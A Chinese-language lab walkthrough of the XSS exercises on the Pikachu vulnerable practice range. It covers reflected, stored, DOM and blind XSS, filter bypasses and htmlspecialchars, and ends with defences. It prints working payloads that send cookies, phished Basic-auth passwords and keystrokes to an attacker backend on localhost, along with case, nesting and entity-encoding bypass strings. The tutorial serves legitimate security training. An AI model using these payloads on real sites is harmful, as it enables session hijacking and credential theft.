头图:https://cdn.naraku.cn/imgs/pikachu/xss-0.jpg
摘要:Pikachu漏洞靶场系列之XSS。

首发于Freebuf - Pikachu漏洞靶场系列之XSS,转载需注明出处。

概述

跨站脚本攻击(Cross-Site Scripting)简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

  1. 反射性XSS;
  2. 存储型XSS;
  3. DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“对输出进行转义”的方式进行处理

  • 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
  • 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

    反射型XSS(Get)

  • 输入时发现限制了输入字符长度,F12审查源码,修改maxlength即可

  • 构造Payload

    1. </p><script>alert(1)</script>

    反射型XSS(Post)

  • 这里直接通过admin/123456登陆,当前也可以使用Burp爆破一下

  • 文本框直接输入123,看看拼接格式

    1. <p class="notice">who is 123,i don't care!</p>
  • 尝试闭合,构造Payload

    1. </p><script>alert(1)</script>

    实验案例-获取Cookie

    相比于GET方式,黑客通过POST方式窃取Cookie更加神不知鬼不觉,这里来复现一下

  • 首先需要搭建一个收集Cookie的后台。这里Pikachu已经为我们准备好了,只需要在左侧管理工具栏进入XSS后台,点击初始化

  • 修改IP地址。打开Pikachu/pkxss/xcookie/post.html文件,因为这里是在本地演示,因此2个IP都修改为127.0.0.1,通过目录来区分漏洞网站和黑客后台。如果是在多台虚拟机中进行实验,即将第1处修改为漏洞网站IP,第2个处修改为黑客后台IP即可

    1. <html>
    2. <head>
    3. <script>
    4. window.onload = function() {
    5. document.getElementById("postsubmit").click();
    6. }
    7. </script>
    8. </head>
    9. <body>
    10. <form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    11. <input id="xssr_in" type="text" name="message" value=
    12. "<script>
    13. document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
    14. </script>"
    15. />
    16. <input id="postsubmit" type="submit" name="submit" value="submit" />
    17. </form>
    18. </body>
    19. </html>
  • 此时,另外打开一个浏览器来模拟用户。先访问[http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php](http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php),并使用另一个账号test/abc123登陆

  • 在用户浏览器中访问黑客伪造的post.html站点:[http://127.0.0.1/pikachu/pkxss/xcookie/post.html](http://127.0.0.1/pikachu/pkxss/xcookie/post.html)
  • 此时,黑客可以在XSS后台看到窃取到的Cookie。黑客浏览器访问后台:[http://127.0.0.1/pikachu/pkxss/xcookie/pkxss_cookie_result.php](http://127.0.0.1/pikachu/pkxss/xcookie/pkxss_cookie_result.php)

Pikachu漏洞靶场系列之XSS - 图1

存储型XSS

  • Payload

    1. </p><script>alert(1)</script>

    实验案例-钓鱼攻击

    黑客可以在有存储型XSS漏洞的网站中嵌入一个恶意JS,当用户访问该站点时自动触发,而在黑客后台向用户返回一个要求Basic认证的头部,那么此时用户界面就会弹出一个身份认证的提示框。如果用户防范意识不高,在提示框中输入了网站的账号密码,那么该账号密码就会被发送到黑客后台。

  • Pikachu靶场同样准备好了钓鱼的文件,只需要修改IP地址即可。打开Pikachu/pkxss/xfish/fish.php文件,将IP地址修改为黑客后台地址,注意IP地址后面需要添加上/pikachu/目录,还有需要注意的是header(Location: ...)此句,将换行删除,否则无法跳转。

    1. <?php
    2. error_reporting(0);
    3. // var_dump($_SERVER);
    4. if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
    5. //发送认证框,并给出迷惑性的info
    6. header('Content-type:text/html;charset=utf-8');
    7. header("WWW-Authenticate: Basic realm='认证'");
    8. header('HTTP/1.0 401 Unauthorized');
    9. echo 'Authorization Required.';
    10. exit;
    11. } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
    12. //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    13. header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
    14. }
    15. ?>
  • 然后在黑客浏览器中访问存储型XSS页面,插入恶意代码

    1. <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

    Pikachu漏洞靶场系列之XSS - 图2

  • 打开另一个页面模拟普通用户,访问存储型XSS页面:[http://127.0.0.1/pikachu/vul/xss/xss_stored.php](http://127.0.0.1/pikachu/vul/xss/xss_stored.php)。此时页面会弹出一个Basic认证提示框,模拟用户输入账号密码,点击确定

Pikachu漏洞靶场系列之XSS - 图3

  • 这一步有个坑就是Basic认证后不跳转,而是一直在弹认证提示框。尝试过修改修改PHP版本、修改pkxss路径、使用2台虚拟机分别搭建漏洞网站和黑客后台环境等等方法都不行,无奈最终使用作弊的方法写入:将下面语句插入存储型XSS处,然后使用用户浏览器访问

    1. <script src="http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username=naraku&password=1234"></script>
  • 上面这个坑已经找到原因并解决,请看另一篇文章:Pikachu漏洞靶场系列之XSS钓鱼攻击后续

  • 此时,黑客可以在XSS后台的钓鱼记录处看到用户输入的账号密码

Pikachu漏洞靶场系列之XSS - 图4

实验案例-键盘记录

  • 打开pikachu/pkxss/rkeypress/rk.js文件,将第54行语句并修改为黑客后台地址:

    1. ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
    2. # 修改为后台地址,如
    3. ajax.open("POST", "http://127.0.0.1/pikachu/pkxss/rkeypress/rkserver.php",true);
  • 浏览器进入存储型XSS漏洞:[http://127.0.0.1/pikachu/vul/xss/xss_stored.php](http://127.0.0.1/pikachu/vul/xss/xss_stored.php),插入恶意代码rk.js

    1. <script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
  • 另开一个浏览器模拟普通用户进入该漏洞页面,任意输入一些字符,无需点击提交

Pikachu漏洞靶场系列之XSS - 图5

  • 此时,黑客可以在后台看到用户所输入的字符

Pikachu漏洞靶场系列之XSS - 图6

  • 如果是在两台虚拟机中搭建靶场和黑客后台,则需要在rk.js中设置允许跨域,否则会被同源策略所限制

    1. //设置允许被跨域访问
    2. header("Access-Control-Allow-Origin:*");

    DOM型XSS

  • 随便输入字符串111后点击按钮,可以看到页面显示一条超链接,审查源码,

    1. <div id="dom">
    2. <a href="111">what do you see?</a>
    3. </div>
  • 还可以看到一段JS代码

    1. <script>
    2. function domxss(){
    3. var str = document.getElementById("text").value;
    4. document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    5. }
    6. </script>
    7. <a href='111'>what do you see?</a>
  • 由这段JS可知,用户输入的字符串会被存进str然后拼接,构造Payload:#' onclick=alert(1)

    1. <a href=' #' onclick=alert(1) '>what do you see?</a>

    DOM型XSS-x

  • 同上,输入111后点击按钮,发现URL发生变化

    1. http://192.168.1.106/pikachu/vul/xss/xss_dom_x.php?text=111
  • 点击超链接,URL再次变化

    1. http://192.168.1.106/pikachu/vul/xss/xss_dom_x.php?text=111#
  • 审查源码

    1. <script>
    2. function domxss(){
    3. var str = window.location.search;
    4. var txss = decodeURIComponent(str.split("text=")[1]);
    5. var xss = txss.replace(/\+/g,' ');
    6. // alert(xss);
    7. document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    8. }
    9. </script>
    10. <div id="dom">
    11. <a href="111">就让往事都随风,都随风吧</a>
    12. </div>
  • 这里的用户输入同样被拼接到a标签中,于是构造Payload:#' onclick=alert(1)

    1. <a href=' #' onclick=alert(1) '>就让往事都随风,都随风吧</a>

    XSS之盲打

  • 先任意输入看看拼接,emmm…….

Pikachu漏洞靶场系列之XSS - 图7

  • 这里既然说了盲打,也就是说只有后台才能看到输入的内容,从前端是无法判断是否存在XSS的。这里可以直接插入前面获取Cookie的恶意代码,直接盲打后台管理员的Cookie

    1. <script>
    2. document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
    3. </script>

    Pikachu漏洞靶场系列之XSS - 图8

  • 此时在页面中插入恶意代码,现在模拟管理员登陆一下后台,后台地址为[http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php](http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php),可以点击右侧提示看到。使用admin/123456登陆后,可以看到刚才插入的语句内容为空白。但管理员的Cookie已经在不知不觉中被黑客获取

Pikachu漏洞靶场系列之XSS - 图9

  • 可进入黑客后台查看

Pikachu漏洞靶场系列之XSS - 图10

XSS之过滤

  • 任意输入字符进行尝试,发现<script>标签被过滤
  • 使用大小写混合即轻松绕过

    1. <ScRipt>alert(1)</sCriPt>

    XSS之htmlspecialchars

    htmlspecialchars()是PHP提供的一个对特殊字符进行转义的函数,它可以把预定义的字符转换为HTML实体

  • &转换为&amp

  • "转换为&quot
  • '转换为&#039
  • <转换为&lt
  • >转换为&gt

    1. $value = htmlspecialchars($_GET['value'], ENT_COMPAT);
    2. # 第2个参数规定了如何处理引号
    3. ENT_COMPAT # 默认,仅对双引号进行编码
    4. ENT_QUOTES # 推荐,编码单双引号
    5. ENT_NOQUOTES # 不编码任何引号
  • 在本题中,尝试输入字符111'"<>,F12审查源码,可以看到输入的字符被转换成如下代码,可以判断这里调用了htmlspecialchars()函数,并且可以看到单引号'没有被转换,因此这里第2个参数使用的是默认模式ENT_COMPAT,所以这里可以尝试使用单引号进行绕过

    1. <a href="111" &quot;&lt;&gt;'="">111'"&lt;&gt;</a>
  • 先使用单引号闭合a标签,然后再进行弹框。提交后需要点击超链接才会弹框

    1. x' onclick='alert(1)'

    XSS之href输出

    i> 输出在a标签的href属性中,可以使用javascript协议来执行JS

  • Payload

    1. javascript:alert(1)
  • 防御:只允许http(s),其次再进行htmlspecialchars处理

    XSS之JS输出

    i> 输出被拼接到JS中,可以直接修改JS源码实现逃过

  • 随便输入一个xxx,F12审查源码,可以看到,用户输入的字符被拼接到$ms变量中:

    1. <script>
    2. $ms='xxx';
    3. if($ms.length != 0){
    4. if($ms == 'tmac'){
    5. $('#fromjs').text('tmac确实厉害,看那小眼神..')
    6. }else {
    7. // alert($ms);
    8. $('#fromjs').text('无论如何不要放弃心中所爱..')
    9. }
    10. }
    11. </script>
  • 构造Payload:xxx'; alert(1); //,先把单引号闭合并弹框,然后将后面的单引号注释掉

    1. <script>
    2. $ms='xxx'; alert(1); //';
    3. ...
    4. </script>
  • 当然也可以直接闭合掉</script>标签,构造Payload:xxx'</script><script>alert(1)//

    1. <script>
    2. $ms=' xxx'</script><script>alert(1)// ';
    3. ...
    4. </script>

    总结

    漏洞利用

  • GET方式:可以通过直接构造URL来诱导用户点击,一般需要会转换成短连接

  • POST方式:黑客通过伪造一个表单自动提交的页面,当用户访问页面时触发表单,页面JS自动POST表单数据到存在POST型XSS漏洞的网站,并将Cookie返回到黑客后台,黑客通过Cookie伪装成用户登录并造成危害。

    跨域与同源策略

  • 同源策略:限制了来自不同源的document或脚本,对当前document读取或设置某些属性。影响的因素有:协议、子域名、主机(域名/IP)、端口。任一因素不相同时,也称为不同域。

    1. http:// www. baidu.com : 80 / hacker.js
    2. 协议 子域名 主机 端口 资源地址
  • 同源策略规定,不同域直接不能使用JS相互操作。即x.com中的JS不能操作y.com下的对象。如果想要跨域操作,需要管理员自行配置

    1. header("Access-Control-Allow-Origin: x.com");
  • 而下面的几个标签不受同源策略限制,可以跨域加载资源。但是浏览器限制了JavaScript的权限,使其不能读写返回的内容。

    1. <img src=""> // 图片
    2. <script src=""> // JS
    3. <link href=""> // CSS
    4. <iframe src=""> // 任意资源

    绕过

    转换

  • 前端限制:直接抓包重放,或者修改前端代码

  • 大小写

    1. <SCripT>alERt(1)</scRiPt>
  • 拼凑

    1. <scri<script>pt>alert(1)</scr</script>ipt>
  • 注释

    1. <scr<!--test-->ipt>alert(1)</sc<!--test-->ript>

    编码

    使用编码的时候需要注意编码在输出点上是否会被正确识别并翻译

x> 错误示例

  • alert('xss')进行URL编码。不能执行,因为这些属性标签不会正常解析这些编码

    1. <img src=x onerror="alert('xss')" />
    2. <img src=x onerror="alert%28%27xss%27%29" />

    √> 正确示例

  • alert('xss')进行字符实体/HTML编码,可以执行

    1. <img src=x onerror="alert('xss')" />
    2. <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;" />

    防御

  • 设置HTTP-only,防止盗用Cookie

  • 输入过滤
  • 输出编码